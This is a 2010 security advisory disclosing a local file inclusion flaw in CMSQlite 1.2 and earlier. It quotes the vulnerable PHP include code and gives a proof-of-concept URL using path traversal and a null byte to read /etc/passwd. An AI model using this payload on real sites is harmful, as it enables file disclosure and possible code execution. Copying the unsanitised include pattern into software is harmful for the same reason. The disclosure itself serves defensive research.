MOPS-2010-030: CMSQlite mod Parameter Local File Inclusion Vulnerability

May 15th, 2010

A local file inclusion vulnerability was discovered in CMSQlite that might allow remote PHP code execution.

Affected versions

Affected is CMSQlite <= 1.2

Risk

Critical.

Credits

The vulnerability was discovered by Stefan Esser as part of the SQL Injection Marathon.

About CMSQlite

CMSQLite is a small, fast, flexible and complete Content-Management-System (CMS). It's perfect for freelancers, self-employeds, clubs and associations and small companies.

CMSQLite is a CMS, basing on PHP and SQLite. That has many advantages!

Detailed information

This vulnerability was accidently discovered during SQL Injection Marathon while looking at CMSQlite for SQL injection vulnerabilities. The offending code is located in index.php.

```
/**************** SET MODULE *********************/
if(isset($_GET['mod'])){
   $module=$_GET['mod'];
}else{
   $module="index";
}

...

if(file_exists("template/".$module.".php")){
  include "template/".$module.".php";
}else{
  include "template/index.php";
}
```

By changing the mod URL parameter it is possible to include arbitrary files on the webserver.

Proof of concept, exploit or instructions to reproduce

The following URL includes the /etc/passwd file

http://cmsqlite.audit/index.php?c=x&mod=../../../../../../../../../etc/passwd%00x

Notes

This vulnerability has not been disclosed to the CMSQlite authors, yet.